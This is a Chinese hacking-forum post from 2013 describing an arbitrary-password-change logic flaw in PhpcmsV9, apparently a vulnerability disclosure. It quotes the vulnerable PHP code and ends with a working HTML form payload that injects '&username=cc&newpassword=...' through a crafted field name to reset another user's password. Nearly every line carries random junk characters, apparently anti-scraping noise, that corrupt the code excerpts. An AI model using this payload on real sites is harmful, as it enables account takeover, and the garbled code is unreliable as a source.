找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
- ~- b! _3 p9 @- ^# d- P+ f' H0 }, M

8 G+ v2 V3 B5 J1 yparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);3 I7 @+ _' d; {

, {. ^$ c5 s7 `: f% ?- F; }在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
- H3 i6 t4 z* j# k( p: q- V7 X1 J
. {  r' D& y- |+ y4 y9 L0 R& T我把它留给了你们。
. [) d: K4 r: f9 s* [5 y2 ^不知道你们发现了它没有。
# w4 p& [( N" i  }  A8 Q# j( @' g4 v! y/ ]# Y# N! l
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
. T1 t/ Z9 m( @  T$ P+ P
7 `7 ^) I! J- i0 o1 _1 y所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。; a- o, H9 z1 x, ^  {
$ S! [" [# I6 y% K. q0 r
也就是: h% T& i9 E$ i; P* N: N
' [$ T$ ^# c- K5 z
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。' M$ }) z. g: h4 a
0 o  j3 I' ?$ \$ v
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。6 o  C( [4 c# j# w* c! p

4 g1 D3 k' \" z; `' B& ?; [- ?* M# V9 ~5 `) D! q' c- w- U
其实我们有这样的机会,看看代码,如下:1 A- r% N  N2 c7 P8 ~

' ^' H0 D& X# a! t4 q  Z# j4 X: S5 |! ^
public function auth_data($data) {+ B' m7 n% B( \
                $s = $sep = '';( P% a7 u/ ]5 D% Z& y& \
                foreach($data as $k => $v) {
2 ]- o* ]1 f5 p3 h+ r- E                        if(is_array($v)) {
' @# U+ Z: g. Y* G                                $s2 = $sep2 = '';: l+ S2 `- X' K* ]* q1 p/ o6 d
                                foreach($v as $k2 => $v2) {
" \* A+ F* J; d- ]; Q                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);" J5 e' d8 T5 q# e
                                        $sep2 = '&';, o3 K) t$ y5 s+ y% Q& o
                                }9 n3 u6 p0 r2 n6 i. X
                                $s .= $sep.$s2;
; B) \: W' B$ Z: d& h6 q4 d; n% l                        } else {
: d1 v7 `4 F* e1 l' _  L& e                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
' X4 N, B' G) k5 z/ w                        }
( C/ |8 W9 a/ {$ _8 ~. l# F                        $sep = '&';
: j6 H. C: {1 K! L% f                }
6 E* R9 A4 n" A; S
; l: K6 y% e0 k2 Z$ t7 c                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 ^8 t7 d' u1 \8 E. g* s' _( C% N                return $auth_s;
( X* m! B# t! H5 C6 r( m: ]3 b1 X( B        }
5 E0 `/ v1 ~9 g( J7 ]4 r; l0 |1 e, E' z
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
, N; _# h) l2 J0 f
+ ^8 [- I+ d3 Q0 }4 Y举个例子/ p) Y! g7 P& _0 V# X  i8 k
3 N1 Y2 u  e/ v* Z. _
$a[aaa=a&bbb] = 'a';+ V! _' o- g% {- U) F

! J) d+ g( g; B3 F2 e会变成aaa=a&bbb=a
) F% \6 S, V7 H) v, i
4 d  k8 J, O: K明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
6 q) X: g, h; M7 _5 r
" x9 r3 O; n1 Z: J' n这个时候,我们可以再去看一个函数。
* T8 F# g9 \% Z5 X* T3 ]4 ^6 f( O/ t. j& B  _6 }# B
就在这个文件内:
! {7 ~' e6 v! t, {; w- ~& S$ u& w' c8 r
, |2 u5 N$ Q3 Z
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {3 ]' }! q; _# G8 L2 t
                if($email && !$this->_is_email($email)) {
, ~7 T$ H0 g) ?9 s* j- c! ?                        return -4;
6 T7 S/ M% R: W+ F                }. }0 ]" ?: R. b& D) D
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));* w7 _5 k+ y7 E( P
        }
) [+ k5 |0 s& p7 E2 i* v+ x$ ^8 h
# c6 d: g, x9 i; E) O这是向通行证发了这样一个请求。
/ x+ e! Z2 y8 ]9 ?
1 Q2 ]' w% v3 Z我们再跟到通信证代码里去看看,就会有所发现。1 }' O* H; Q( j* I0 v

8 Z& o, [. m$ ~; P! ~5 G: ~2 q9 c4 p8 A- C8 r0 }' k1 M
public function edit() {
, @) F: {+ }0 P* ]8 E# g//能省就省,太长了不是吗?
/ u' w+ J  q% G6 Z4 i0 }
! D  O2 r7 j  {! g5 eif($this->username) {
$ S: V2 @5 d! I7 v& g% C( P! l) ~//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
. B' \6 V- l- `' Q, r$ v2 _( z                                $res = $this->db->update($data, array('username'=>$this->username));
) ?- G  h) i+ a4 I4 E                        } else {$ p# d) s% O) u. ^3 v5 Q  B
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);) R" b& ]9 @+ d7 _) @
                                $res = $this->db->update($data, array('uid'=>$this->uid));
' h( Y& X% [$ P1 H! A: D                        }
8 C# U/ U0 ~9 k  _4 u6 ~7 [
9 c/ }8 Q- t# Q5 G0 A+ d好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:/ S) S- v* t/ m( q
! L7 W$ f1 v4 Y; G
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- A5 A8 |0 z1 c7 Y6 R4 v
! `' c0 k' U2 N2 G很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。2 @$ l  K$ J; S% ], H4 Y
2 F. q9 B# u2 U7 o! y2 S
我当然找到了:
2 s  g$ G: l5 N0 |% Mphpcms9/phpcms/modules/member/index.php' O7 c* l( m9 M- @

" H: r' }. M$ L7 x' N$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);: z# g, P. H2 u5 u
5 B( F' C$ T8 f8 J7 X7 F, V+ Z/ C
然后就没有然后了。
  i3 [! }1 D% e# q" ~& ?& C! z$ D6 i' H1 `; {
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
; m' e; i1 X" a7 Y. d: H                                <table width="100%" cellspacing="0" class="table_form">
9 }& f1 u  v! k" |3 m                                        <tr>+ ?' _  {  ^% X1 u  o4 w2 V. [
                                                <th width="80">邮箱:</th>        
" H  M( Q. R" G- X                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>; M0 I) v; u4 `' f/ [
                                        </tr>
' p9 N, Y0 i' T" G2 j/ i                                        <tr>
% o6 W, }$ w% D5 j. W                                                <th width="80">原密码:</th>        
( v+ M; G5 N% p, o) a: T                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
# ^0 A# P8 ^8 y9 H                                        </tr>% N1 F5 Y3 r% N
                                        <tr>
! C, S6 Y; x' v3 L) z' \                                                <th>新密码:</th>( r- M2 F: u" p
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>: h5 K1 Z) U2 W) p
                                        </tr>7 V5 y9 ^/ a7 Y/ c7 c3 \
                                        <th></th>
6 f" S, }% C4 b% S                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
3 ?% y2 W( N! n2 @- L3 c                                        </tr>
" d8 e. ]' g5 Y5 P. }8 E6 K/ R7 _                                </table>
8 ^5 Z: O6 c/ C- T/ |% Q6 \9 n
) x# q9 R. e, Y                               
* g& {+ Q3 [& e. q5 Z. [                        </form>
9 V; {/ D9 B) O  v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表